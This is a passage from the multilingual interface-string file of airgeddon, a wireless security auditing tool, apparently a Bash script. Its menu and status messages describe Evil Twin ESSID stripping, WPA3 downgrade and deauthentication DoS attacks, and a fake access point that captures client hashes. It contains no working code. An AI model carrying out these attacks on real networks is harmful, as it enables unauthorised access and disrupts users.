ESSID stripping" arr["ITALIAN",766]="14. Attivare Evil Twin ESSID stripping in modo permanente" arr["POLISH",766]="14. Włącz Evil Twin ESSID stripping na stałe" arr["GERMAN",766]="14. Evil Twin ESSID stripping dauerhaft aktivieren" arr["TURKISH",766]="14. Evil Twin ESSID stripping kalıcı olarak etkinleştirin" arr["ARABIC",766]="14. بشكل دائم Evil Twin ESSID stripping تفعيل" arr["CHINESE",766]="14. 启用邪恶双胞胎的ESSID剥离" arr["ENGLISH",767]="\${blue_color}Evil Twin ESSID stripping will be disabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",767]="\${blue_color}Se va a deshabilitar Evil Twin ESSID stripping. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",767]="\${blue_color}Evil Twin ESSID stripping va être désactivé. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",767]="\${blue_color}Es va a deshabilitar Evil Twin ESSID stripping. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",767]="\${blue_color}Evil Twin ESSID stripping será desabilitado. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",767]="\${blue_color}Evil Twin ESSID stripping будет выключен. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",767]="\${blue_color}Το Evil Twin ESSID stripping πρόκειται να απενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",767]="\${blue_color}Evil Twin ESSID stripping sará disattivato. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",767]="\${blue_color}Evil Twin ESSID stripping zostanie wyłączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",767]="\${blue_color}Evil Twin ESSID stripping wird deaktiviert. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",767]="\${blue_color}Evil Twin ESSID stripping dışı bırakılacak. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",767]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .Evil Twin ESSID stripping سيتم تعطيل\${normal_color}" arr["CHINESE",767]="\${blue_color}邪恶双胞胎的ESSID剥离功能将被禁用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",768]="\${blue_color}Evil Twin ESSID stripping will be enabled. \${green_color}Do you want to continue? \${normal_color}\${visual_choice}" arr["SPANISH",768]="\${blue_color}Se va a habilitar Evil Twin ESSID stripping. \${green_color}¿Deseas continuar? \${normal_color}\${visual_choice}" arr["FRENCH",768]="\${blue_color}Evil Twin ESSID stripping va être activé. \${green_color}Voulez-vous continuer? \${normal_color}\${visual_choice}" arr["CATALAN",768]="\${blue_color}Es va a habilitar Evil Twin ESSID stripping. \${green_color}¿Vols continuar? \${normal_color}\${visual_choice}" arr["PORTUGUESE",768]="\${blue_color}Evil Twin ESSID stripping será habilitado. \${green_color}Você deseja continuar? \${normal_color}\${visual_choice}" arr["RUSSIAN",768]="\${blue_color}Evil Twin ESSID stripping будет включен. \${green_color}Вы хотите продолжить? \${normal_color}\${visual_choice}" arr["GREEK",768]="\${blue_color}Το Evil Twin ESSID stripping πρόκειται να ενεργοποιηθεί. \${green_color}Θέλετε να συνεχίσετε; \${normal_color}\${visual_choice}" arr["ITALIAN",768]="\${blue_color}Evil Twin ESSID stripping sará attivato. \${green_color}Vuoi continuare? \${normal_color}\${visual_choice}" arr["POLISH",768]="\${blue_color}Evil Twin ESSID stripping zostanie włączone. \${green_color}Czy chcesz kontynuować? \${normal_color}\${visual_choice}" arr["GERMAN",768]="\${blue_color}Evil Twin ESSID stripping wird aktiviert. \${green_color}Möchten Sie fortfahren? \${normal_color}\${visual_choice}" arr["TURKISH",768]="\${blue_color}Evil Twin ESSID stripping etkinleştirilecek. \${green_color}Devam etmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",768]="\${normal_color}\${visual_choice}\${green_color} هل تريد المتابعة؟\${blue_color} .Evil Twin ESSID stripping سيتم تفعيل\${normal_color}" arr["CHINESE",768]="\${blue_color}邪恶双胞胎的ESSID剥离功能将被启用。 \${green_color}你想继续吗?\${normal_color}\${visual_choice}" arr["ENGLISH",769]="Evil Twin ESSID stripping has been disabled" arr["SPANISH",769]="Evil Twin ESSID stripping ha sido deshabilitado" arr["FRENCH",769]="Evil Twin ESSID stripping a été désactivé" arr["CATALAN",769]="S'ha deshabilitat Evil Twin ESSID stripping" arr["PORTUGUESE",769]="Evil Twin ESSID stripping foi desabilitado" arr["RUSSIAN",769]="Evil Twin ESSID stripping выключен" arr["GREEK",769]="Το Evil Twin ESSID stripping απενεργοποιήθηκε" arr["ITALIAN",769]="Evil Twin ESSID stripping è stato disattivato" arr["POLISH",769]="Evil Twin ESSID stripping zostało wyłączone" arr["GERMAN",769]="Evil Twin ESSID stripping wurde deaktiviert" arr["TURKISH",769]="Evil Twin ESSID stripping dışı bırakıldı" arr["ARABIC",769]="Evil Twin ESSID stripping تم تعطيل" arr["CHINESE",769]="邪恶双胞胎的ESSID剥离功能已禁用" arr["ENGLISH",770]="Evil Twin ESSID stripping has been enabled" arr["SPANISH",770]="Se ha habilitado Evil Twin ESSID stripping" arr["FRENCH",770]="Evil Twin ESSID stripping a été activé" arr["CATALAN",770]="S'ha habilitat Evil Twin ESSID stripping" arr["PORTUGUESE",770]="Evil Twin ESSID stripping foi habilitado" arr["RUSSIAN",770]="Evil Twin ESSID stripping включен" arr["GREEK",770]="Το Evil Twin ESSID stripping ενεργοποιήθηκε" arr["ITALIAN",770]="Evil Twin ESSID stripping è stato attivato" arr["POLISH",770]="Evil Twin ESSID stripping zostało włączone" arr["GERMAN",770]="Evil Twin ESSID stripping wurde aktiviert" arr["TURKISH",770]="Evil Twin ESSID stripping etkinleştirildi" arr["ARABIC",770]="Evil Twin ESSID stripping تم تفعيل" arr["CHINESE",770]="邪恶双胞胎的ESSID剥离功能已启用" arr["ENGLISH",771]="Evil Twin ESSID stripping: \${pink_color}Enabled\${normal_color}" arr["SPANISH",771]="Evil Twin ESSID stripping: \${pink_color}Activado\${normal_color}" arr["FRENCH",771]="Evil Twin ESSID stripping: \${pink_color}Activée\${normal_color}" arr["CATALAN",771]="Evil Twin ESSID stripping: \${pink_color}Activat\${normal_color}" arr["PORTUGUESE",771]="Evil Twin ESSID stripping: \${pink_color}Ativo\${normal_color}" arr["RUSSIAN",771]="Evil Twin ESSID stripping: \${pink_color}Включено\${normal_color}" arr["GREEK",771]="Evil Twin ESSID stripping: \${pink_color}Ενεργοποιημένος\${normal_color}" arr["ITALIAN",771]="Evil Twin ESSID stripping: \${pink_color}Attivato\${normal_color}" arr["POLISH",771]="Evil Twin ESSID stripping: \${pink_color}Włączony\${normal_color}" arr["GERMAN",771]="Evil Twin ESSID stripping: \${pink_color}Aktiviert\${normal_color}" arr["TURKISH",771]="Evil Twin ESSID stripping: \${pink_color}Aktif\${normal_color}" arr["ARABIC",771]="\${pink_color}مفعل\${blue_color} :Evil Twin ESSID stripping\${normal_color}" arr["CHINESE",771]="邪恶双胞胎的ESSID剥离:\${pink_color}启用\${normal_color}" arr["ENGLISH",772]="Evil Twin ESSID stripping: \${pink_color}Disabled\${normal_color}" arr["SPANISH",772]="Evil Twin ESSID stripping: \${pink_color}Desactivado\${normal_color}" arr["FRENCH",772]="Evil Twin ESSID stripping: \${pink_color}Désactivée\${normal_color}" arr["CATALAN",772]="Evil Twin ESSID stripping: \${pink_color}Desactivat\${normal_color}" arr["PORTUGUESE",772]="Evil Twin ESSID stripping: \${pink_color}Desativo\${normal_color}" arr["RUSSIAN",772]="Evil Twin ESSID stripping: \${pink_color}Отключено\${normal_color}" arr["GREEK",772]="Evil Twin ESSID stripping: \${pink_color}Απενεργοποιημένος\${normal_color}" arr["ITALIAN",772]="Evil Twin ESSID stripping: \${pink_color}Disattivato\${normal_color}" arr["POLISH",772]="Evil Twin ESSID stripping: \${pink_color}Dezaktywowane\${normal_color}" arr["GERMAN",772]="Evil Twin ESSID stripping: \${pink_color}Deaktiviert\${normal_color}" arr["TURKISH",772]="Evil Twin ESSID stripping: \${pink_color}Devredışı\${normal_color}" arr["ARABIC",772]="\${pink_color}معطل\${blue_color} :Evil Twin ESSID stripping\${normal_color}" arr["CHINESE",772]="邪恶双胞胎的ESSID剥离:\${pink_color}禁用\${normal_color}" arr["ENGLISH",773]="The entered MAC address is not valid because it is a multicast address. A valid BSSID must be a unicast address" arr["SPANISH",773]="La dirección MAC introducida no es válida porque es una dirección multicast. Un BSSID válido debe ser una dirección unicast" arr["FRENCH",773]="L'adresse MAC introduit n'est pas valide car il s'agit d'une adresse multicast. Un BSSID valide doit être une adresse unicast" arr["CATALAN",773]="L’adreça MAC introduïda no és vàlida perquè és una adreça multicast. Un BSSID vàlid ha de ser una adreça unicast" arr["PORTUGUESE",773]="O endereço MAC inserido não é válido porque é um endereço multicast. Um BSSID válido deve ser um endereço unicast" arr["RUSSIAN",773]="Введенный MAC-адрес недопустим, потому что это multicast адрес. Действительный BSSID должен быть unicast адресом" arr["GREEK",773]="Η διεύθυνση MAC που εισήχθη δεν είναι έγκυρη επειδή είναι μια διεύθυνση multicast. Ένα έγκυρο BSSID πρέπει να είναι μια διεύθυνση unicast" arr["ITALIAN",773]="L'indirizzo MAC introdotto non è valido perché è un indirizzo multicast. Un BSSID valido deve essere un indirizzo unicast" arr["POLISH",773]="Wprowadzony adres MAC jest nieprawidłowy, ponieważ jest adresem typu multicast. Poprawny BSSID musi być adresem unicast" arr["GERMAN",773]="Die eingegebene MAC-Adresse ist nicht gültig, da es sich um eine multicast-Adresse handelt. Eine gültige BSSID muss eine unicast-Adresse sein" arr["TURKISH",773]="Girilen MAC adresi geçerli değil çünkü multicast adres. Geçerli bir BSSID, unicast adresi olmalıdır" arr["ARABIC",773]="unicast صالحًا و BSSID يجب أن يكون .multicast الذي تم إدخاله غير صالح لأنه عنوان MACعنوان ال" arr["CHINESE",773]="输入的 MAC 地址无效,因为它是一个多播地址。有效的 BSSID 必须是一个单播地址" arr["ENGLISH",774]="5. WPA2/WPA3 Transitional network downgrade attack" arr["SPANISH",774]="5. Ataque de downgrade a red WPA2/WPA3 Transitional" arr["FRENCH",774]="5. Attaque de downgrade contre un réseau WPA2/WPA3 Transitional" arr["CATALAN",774]="5. Atac de downgrade a una xarxa WPA2/WPA3 Transitional" arr["PORTUGUESE",774]="5. Ataque de downgrade em rede WPA2/WPA3 Transitional" arr["RUSSIAN",774]="5. Downgrade атака на WPA2/WPA3 Transitional сеть" arr["GREEK",774]="5. Επίθεση υποβάθμισης σε WPA2/WPA3 Transitional δίκτυο" arr["ITALIAN",774]="5. Attacco di downgrade alla rete WPA2/WPA3 Transitional" arr["POLISH",774]="5. Atak downgrade na sieć WPA2/WPA3 Transitional" arr["GERMAN",774]="5. Downgrade-Angriff auf ein WPA2/WPA3 Transitional-Netzwerk" arr["TURKISH",774]="5. WPA2/WPA3 Transitional ağında downgrade saldırısı" arr["ARABIC",774]="5. WPA2/WPA3 Transitional هجوم تخفيض مستوى على شبكة" arr["CHINESE",774]="5. 针对 WPA2/WPA3 混合模式网络的降级攻击" arr["ENGLISH",775]="WPA3 downgrade deauth" arr["SPANISH",775]="Desautenticación para downgrade WPA3" arr["FRENCH",775]="Dés-authentification pour downgrade WPA3" arr["CATALAN",775]="Desautenticació per downgrade WPA3" arr["PORTUGUESE",775]="Desautenticação para downgrade WPA3" arr["RUSSIAN",775]="Downgrade деаутентификация WPA3" arr["GREEK",775]="Υποβάθμιση deauth WPA3" arr["ITALIAN",775]="Deautenticazione per forzare il downgrade di WPA3" arr["POLISH",775]="Deautentykacja w celu obniżenia WPA3" arr["GERMAN",775]="Deauthentifizierung zum Herabstufen von WPA3" arr["TURKISH",775]="WPA3'ü düşürmek için deauth" arr["ARABIC",775]="WPA3 هجوم إلغاءالمصادقة لتخفيض مستوى" arr["CHINESE",775]="Deauth 可以将 WPA3 降级" arr["ENGLISH",776]="0. Return to WPA3 attacks menu" arr["SPANISH",776]="0. Volver al menú de ataques WPA3" arr["FRENCH",776]="0. Retour au menu des attaques WPA3" arr["CATALAN",776]="0. Tornar al menú d'atacs WPA3" arr["PORTUGUESE",776]="0. Voltar ao menu de ataques WPA3" arr["RUSSIAN",776]="0. Вернуться в меню атак на WPA3" arr["GREEK",776]="0. Επιστροφή στο μενού επιθέσεων WPA3" arr["ITALIAN",776]="0. Tornare al menu degli attacchi WPA3" arr["POLISH",776]="0. Wróć do menu ataków WPA3" arr["GERMAN",776]="0. Zurück zum WPA3 Angriffsmenü" arr["TURKISH",776]="0. WPA3 saldırıları menüsüne dön" arr["ARABIC",776]="0. WPA3 العودة إلى قائمة هجمات" arr["CHINESE",776]="0. 返回 WPA3 攻击菜单" arr["ENGLISH",777]="This attack will only work if the WPA3 network and clients are not using MFP (Management Frames Protection) or if there are WPA2 clients that the DoS will affect normally. More information here: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["SPANISH",777]="Este ataque solo funcionará si la red WPA3 y los clientes no están utilizando MFP (Management Frames Protection) o si hay clientes WPA2 a los que el DoS afectará de forma normal. Más información aquí: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["FRENCH",777]="Cette attaque ne fonctionnera que si le réseau WPA3 et les clients n'utilisent pas MFP (Management Frames Protection) ou s'il existe des clients WPA2 que le DoS affectera normalement. Plus d'informations ici : \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["CATALAN",777]="Aquest atac només funcionarà si la xarxa WPA3 i els clients no estan utilitzant MFP (Management Frames Protection) o si hi ha clients WPA2 que el DoS afectarà de forma normal. Més informació aquí: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["PORTUGUESE",777]="Este ataque só funcionará se a rede WPA3 e os clientes não estiverem usando MFP (Management Frames Protection) ou se houver clientes WPA2 que o DoS afetará normalmente. Saiba mais: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["RUSSIAN",777]="Данная атака сработает только в случае, если WPA3 сеть и её клиенты не используют MFP (Management Frames Protection), либо если имеются клиенты использующие WPA2, на которых DoS сработает как обычно. Дополнительная информация здесь: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["GREEK",777]="Αυτή η επίθεση θα λειτουργήσει μόνο εάν το δίκτυο WPA3 και οι πελάτες δεν χρησιμοποιούν MFP (Management Frames Protection) ή εάν υπάρχουν πελάτες WPA2 που το DoS θα επηρεάσει κανονικά. Περισσότερες πληροφορίες εδώ: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["ITALIAN",777]="Questo attacco funzionerà solo se la rete WPA3 e i clienti non utilizzano MFP (Management Frames Protection) oppure se ci sono client WPA2 che verranno colpiti normalmente dal DoS. Ulteriori informazioni qui: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["POLISH",777]="Ten atak zadziała tylko, gdy sieć WPA3 i klienci nie używają MFP (Management Frames Protection) lub jeśli są podłączeni klienci WPA2, na których atak DoS zadziała w normalny sposób. Więcej informacji tutaj: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["GERMAN",777]="Dieser Angriff funktioniert nur, wenn das WPA3-Netzwerk und die Clients kein MFP (Management Frames Protection) verwenden oder wenn es WPA2-Clients gibt, auf die sich der DoS normal auswirkt. Weitere Informationen hier: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["TURKISH",777]="Bu saldırı, yalnızca WPA3 ağı ve istemcileri MFP (Yönetim Çerçeveleri Koruması) kullanmıyorsa veya DoS'un normal şekilde etkileyeceği WPA2 istemcileri varsa işe yarayacaktır. Daha fazla bilgi burada:\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["ARABIC",777]="\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do\${pink_color} :بشكل طبيعي DoS سيتأثرون بهجوم WPA2 أو إذا كان هناك عملاء MFP (Management Frames Protection) والعملاء يستخدمون WPA3 سيعمل هذا الهجوم فقط إذا لم تكن شبكة" arr["CHINESE",777]="此攻击仅在 WPA3 网络和客户端未使用 MFP (Management Frames Protection),或存在将正常受到 DoS 影响的 WPA2 客户端时才有效。更多信息详见:\${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#dos-deauth-is-not-working-what-can-i-do" arr["ENGLISH",778]="WPA3 downgrade attack" arr["SPANISH",778]="Ataque de downgrade WPA3" arr["FRENCH",778]="Attaque de downgrade WPA3" arr["CATALAN",778]="Atac de downgrade WPA3" arr["PORTUGUESE",778]="Ataque de downgrade WPA3" arr["RUSSIAN",778]="Downgrade атака на WPA3" arr["GREEK",778]="Επίθεση υποβάθμισης WPA3" arr["ITALIAN",778]="Attacco di downgrade WPA3" arr["POLISH",778]="Atak downgrade WPA3" arr["GERMAN",778]="WPA3 downgrade-Angriff" arr["TURKISH",778]="WPA3 downgrade saldırısı" arr["ARABIC",778]="WPA3 هجوم تخفيض مستوى" arr["CHINESE",778]="WPA3 downgrade 攻击" arr["ENGLISH",779]="It has been detected that you are running airgeddon inside a Docker container. During this attack hostapd-mana is used to create a fake AP. This component often conflicts with network-manager. From inside the container, airgeddon can't handle it. If you have network-manager installed on your host machine, close it or kill the conflicting processes or you'll get an error. For more information, see the Docker section of the Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["SPANISH",779]="Se ha detectado que estás ejecutando airgeddon en un contenedor de Docker. En este ataque se utiliza hostapd-mana para crear un falso AP. Este componente suele dar conflicto con network-manager. Desde el contenedor, airgeddon no puede gestionarlo. Si tienes network-manager instalado en tu máquina host, ciérralo o mata los procesos en conflicto u obtendrás un error. Para más información consulta la sección Docker del Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["FRENCH",779]="Il a été détecté qu'airgeddon a été lancé depuis un conteneur Docker. Cette attaque à besoin d'hostapd-mana pour créer un Point d'Accès piège. Hostapd a tendance à entrer en conflit avec network-manager et airgeddon ne peut pas le gérer depuis le conteneur. Si network-manager est installé sur votre machine host, arrêtez ou tuez les processus conflictuels. Dans le cas contraire vous obtiendrez une erreur. Pour plus d'informations, consultez la section Docker de notre Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["CATALAN",779]="S'ha detectat que estàs executant airgeddon en un contenidor de Docker. En aquest atac s'utilitza hostapd-mana per crear un fals AP. Aquest component sol donar conflicte amb network-manager. Des del contenidor, airgeddon no pot gestionar-lo. Si tens network-manager instal·lat a la teua màquina host, tanca'l o mata els processos en conflicte u obtindràs un error. Per a més informació consulta la secció Docker del Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["PORTUGUESE",779]="Detectamos que você está executando airgeddon em um contêiner Docker. Neste ataque é usado hostapd-mana para criar um AP falso. Este componente tende a entrar em conflito com network-manager. A partir do contêiner o airgeddon não pode controlá-lo. Se você tem network-manager instalado em sua máquina host feche-o, mate os processos conflitantes ou você irá obter um erro. Para mais informações consulte a seção Docker Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["RUSSIAN",779]="Определено, что вы запускаете airgeddon внутри контейнера Docker. Во время этой атаки для создания поддельной AP используется hostapd-mana. Этот компонент часто конфликтует с network-manager. Изнутри контейнера airgeddon не может справиться с этим. Если на вашем хост-компьютере установлен network-manager, закройте его или уберите конфликтующие процессы, иначе вы получите сообщение об ошибке. Для получения дополнительной информации см. раздел Docker в Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["GREEK",779]="Εντοπίστηκε πως τρέχετε το airgeddon μέσα σε Docker container. Κατά τη διάρκεια αυτής της επίθεσης χρησιμοποιείται το hostapd-mana για να δημιουργήσει ψεύτικο AP. Η δημιουργία αυτού κάνει conflicts με τον network-manager. Το airgeddon δεν μπορεί να το χειριστεί μέσα από το container. Αν υπάρχει ο network-manager εγκατεστημένος στον host-υπολογιστή, κλείστε τον ή διακόψτε τις διεργασίες που κάνουν conflict αλλιώς θα υπάρξουν σφάλματα. Για περισσότερες πληροφορίες, ανατρέξτε στην ενότητα Docker του Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["ITALIAN",779]="È stato rilevato che si sta eseguendo airgeddon in un contenitore Docker. In questo attacco viene utilizzato hostapd-mana per creare un falso AP. Questo componente tende a creare un conflitto con il network-manager. Dal contenitore, airgeddon non può gestirlo. Se si dispone di network-manager installato sul computer host, chiuderlo o uccidere i processi in conflitto o ci sará un errore. Per ulteriori informazioni consultare la sezione Docker della nostra Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["POLISH",779]="Wykryto, że używasz airgeddon w kontenerze Docker. W tym ataku hostapd-mana służy do utworzenia fałszywego AP. Ten komponent często ma konflikt z network-manager. Z kontenera airgeddon nie może sobie z tym poradzić. Jeśli na komputerze hosta zainstalowano network-manager, zamknij lub zabij sprzeczne procesy lub otrzymasz błąd. Aby uzyskać więcej informacji, zobacz sekcję Docker Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["GERMAN",779]="Es wurde festgestellt, dass Sie airgeddon in einem Docker-Container ausführen. Bei diesem Angriff wird mit hostapd-mana ein falscher AP erstellt. Diese Komponente steht normalerweise im Konflikt mit dem network-manager. Aus dem Container kann airgeddon das nicht schaffen. Wenn Sie den network-manager auf Ihrem Host-Computer installiert haben, schließen Sie ihn oder beenden Sie die Prozesse im Konflikt oder Sie erhalten einen Fehler. Weitere Informationen finden Sie im Abschnitt Docker des Wiki: \${normal_color}\${urlgithub_wiki}/Docker" arr["TURKISH",779]="Bir Docker konteynırı içinde airgeddon çalıştırdığınız tespit edildi. Bu saldırı sırasında hostapd-mana sahte bir AP oluşturmak için kullanılır. Bu bileşen genellikle ağ yöneticisi ile çakışır. Konteynırın içinden, hava hücresi bunu kaldıramaz. Ana makinenize ağ yöneticisi yüklüyse, kapat veya çakışan işlemleri durdurun veya bir hatayla karşılaşırsınız. Daha fazla bilgi için, Wiki'nin Docker bölümüne bakın: \${normal_color}\${urlgithub_wiki}/Docker" arr["ARABIC",779]="\${normal_color}\${urlgithub_wiki}/Docker\${pink_color} :Wiki في Docker التعامل معه. إذا كان لديك مدير شبكة مثبتًا على جهازك المضيف ، فأغلقه أو اقتل العمليات المتضاربة وإلا ستحصل على خطأ. لمزيد من المعلومات ، راجع قسم airgeddon مزيف. غالبًا ما يتعارض هذا المكون مع مدير الشبكة. من داخل الحاوية ، لا يستطيع hostapd-mana خلال هذا الهجوم ، يتم استخدام .Docker داخل حاوية airgeddon تم الكشف عن أنك تقوم بتشغيل\${normal_color}" arr["CHINESE",779]="检测到您正在 Docker 容器内运行 airgeddon。在此攻击期间,hostapd-mana 用于创建伪造的 AP。该组件经常与网络管理器冲突。从容器内部,airgeddon 无法处理它。如果您的主机上安装了网络管理器,请关闭它或终止冲突进程,否则您将收到错误消息。有关详细信息,请参阅 Wiki 的 Docker 部分: \${normal_color}\${urlgithub_wiki}/Docker" arr["ENGLISH",780]="The selected network is invalid. The target network must be a Transitional WPA2/WPA3 network (Mixed mode)" arr["SPANISH",780]="La red seleccionada no es válida. La red objetivo debe ser una red WPA2/WPA3 transicional (Mixed mode)" arr["FRENCH",780]="Le réseau sélectionné est invalide. Le réseau cible doit être un réseau WPA2/WPA3 transitionnel (Mixed mode)" arr["CATALAN",780]="La xarxa seleccionada no és vàlida. La xarxa objectiu ha de ser una xarxa WPA2/WPA3 transicional (Mixed mode)" arr["PORTUGUESE",780]="A rede selecionada não é válida. A rede alvo deve ser WPA2/WPA3 transitória (Mixed mode)" arr["RUSSIAN",780]="Выбранная сеть непригодна для проведения атаки. Целевая сеть должна быть в режиме WPA2/WPA3 Transitional (Mixed mode)" arr["GREEK",780]="Το επιλεγμένο δίκτυο είναι μη έγκυρο. Το δίκτυο στόχος πρέπει να είναι Transitional WPA2/WPA3 (Mixed mode) δίκτυο" arr["ITALIAN",780]="La rete selezionata non è valida. La rete obiettivo deve essere una rete WPA2/WPA3 transizionale (Mixed mode)" arr["POLISH",780]="Wybrana sieć jest nieprawidłowa. Sieć docelowa musi być siecią przejściową WPA2/WPA3 (Mixed mode)" arr["GERMAN",780]="Das ausgewählte Netzwerk ist ungültig. Das Zielnetzwerk muss ein Übergangs-WPA2/WPA3-Netzwerk (Mixed mode) sein" arr["TURKISH",780]="Seçilen ağ geçersiz. Hedef ağ geçişsel bir WPA2/WPA3 ağı (Mixed mode) olmalıdır" arr["ARABIC",780]="Transitional WPA2/WPA3 network (Mixed mode) الشبكة المحددة غير صالحة. يجب أن تكون الشبكة المستهدفة شبكة" arr["CHINESE",780]="所选网络无效。目标网络必须是过渡性的 WPA2/WPA3 网络(混合模式)" arr["ENGLISH",781]="The selected network is invalid. It is WPA3, but not of type WPA2/WPA3 Transitional (Mixed mode)" arr["SPANISH",781]="La red seleccionada no es válida. Es WPA3, pero no es de tipo WPA2/WPA3 Transitional (Mixed mode)" arr["FRENCH",781]="Le réseau sélectionné est invalide. C'est WPA3, mais pas de type WPA2/WPA3 Transitional (Mixed mode)" arr["CATALAN",781]="La xarxa seleccionada no és vàlida. És WPA3, però no és de tipus WPA2/WPA3 Transitional (Mixed mode)" arr["PORTUGUESE",781]="A rede selecionada não é válida. É uma rede WPA3, mas não do tipo WPA2/WPA3 Transitional (Mixed mode)" arr["RUSSIAN",781]="Выбранная сеть непригодна для проведения атаки. Сеть находится в режима WPA3, но не WPA2/WPA3 Transitional (Mixed mode)" arr["GREEK",781]="Το επιλεγμένο δίκτυο δεν είναι έγκυρο. Είναι WPA3, αλλά όχι τύπου WPA2/WPA3 Transitional (Mixed mode)" arr["ITALIAN",781]="La rete selezionata non è valida. È WPA3, ma non di tipo WPA2/WPA3 Transitional (Mixed mode)" arr["POLISH",781]="Wybrana sieć jest nieprawidłowa. Jest to WPA3, ale nie typu WPA2/WPA3 Transitional (Mixed mode)" arr["GERMAN",781]="Das ausgewählte Netzwerk ist ungültig. Es ist WPA3, aber nicht vom Typ WPA2/WPA3 Transitional (Mixed mode)" arr["TURKISH",781]="Seçilen ağ geçersiz. WPA3, ancak WPA2/WPA3 Transitional (Mixed mode) türünde değil" arr["ARABIC",781]="WPA2/WPA3 Transitional (Mixed mode) لكنها ليست من نوع WPA3 الشبكة المحددة غير صالحة. إنها" arr["CHINESE",781]="所选网络无效。它是 WPA3,但不是 WPA2/WPA3 混合模式 (Mixed mode) 类型" arr["ENGLISH",782]="Two windows will be opened. One is used to capture hashes and another one with the DoS attack to force clients to connect to your fake network" arr["SPANISH",782]="Se abrirán dos ventanas. Una se utiliza para capturar hashes y la otra contiene el ataque DoS para forzar a los clientes a conectarse a tu red falsa" arr["FRENCH",782]="Deux fenêtres s'ouvriront. L'une sera pour capturer les hashes et l'autre contient l'attaque DoS pour forcer les clients à se connecter à votre réseau faux" arr["CATALAN",782]="S'obriran dues finestres. Una s'utilitza per capturar hashes i l'altra conté l'atac DoS per forçar els clients a connectar-se a la teva xarxa falsa" arr["PORTUGUESE",782]="Duas janelas serão abertas. Uma é usada para capturar hashes e a outra para o ataque DoS que força os clientes a se conectarem à sua rede falsa" arr["RUSSIAN",782]="Будут открыты два окна. В одном будет проводиться захват хешей, а в другом DoS-атака, чтобы заставить клиентов подключиться к вашей поддельной сети" arr["GREEK",782]="Θα ανοίξουν δύο παράθυρα. Ένα χρησιμοποιείται για την καταγραφή των hashes και το άλλο για την επίθεση DoS για να αναγκάσει τους πελάτες να συνδεθούν στο ψεύτικο δίκτυό σας" arr["ITALIAN",782]="Si apriranno due finestre. Una viene usata per catturare gli hashes e l'altra contiene l'attacco DoS per costringere i clienti a connettersi alla tu rete falsa" arr["POLISH",782]="Otworzą się dwa okna. Jedno służy do przechwytywania hashów, a drugie przeprowadza atak DoS, aby zmusić klientów do połączenia się z Twoją fałszywą siecią" arr["GERMAN",782]="Zwei Fenster werden geöffnet. Eines dient zum Erfassen von Hashes und das andere enthält den DoS-Angriff, um Clients dazu zu zwingen, sich mit Ihrem gefälschten Netzwerk zu verbinden" arr["TURKISH",782]="İki pencere açılacaktır. Biri hash'leri yakalamak için kullanılır, diğeri ise istemcileri sahte ağınıza bağlanmaya zorlamak için DoS saldırısını içerir" arr["ARABIC",782]="لإجبار العملاء على الاتصال بشبكتك المزيفة DoS سيتم فتح نافذتين. تُستخدم إحداهما لالتقاط الهاشات والأخرى لشن هجوم" arr["CHINESE",782]="这将打开两个窗口。一个用于捕获哈希,另一个用于执行 DoS 攻击强制让客户端连接到您的假网络" arr["ENGLISH",783]="Don't close any window manually, the script will do it when appropriate. In at most \${timeout} seconds you'll know if you obtained any hashes" arr["SPANISH",783]="No cierres manualmente ninguna ventana, el script lo hará cuando proceda. En unos \${timeout} segundos como máximo sabrás si conseguiste algún hash" arr["FRENCH",783]="Ne fermez manuellement aucune fenêtre, le script le fera lorsqu'il conviendra. Au bout de \${timeout} secondes au maximum, vous saurez si vous avez obtenu des hashes" arr["CATALAN",783]="No tanqueu manualment cap finestra, l'script ho farà quan procedeixi. En un màxim de \${timeout} segons sabràs si 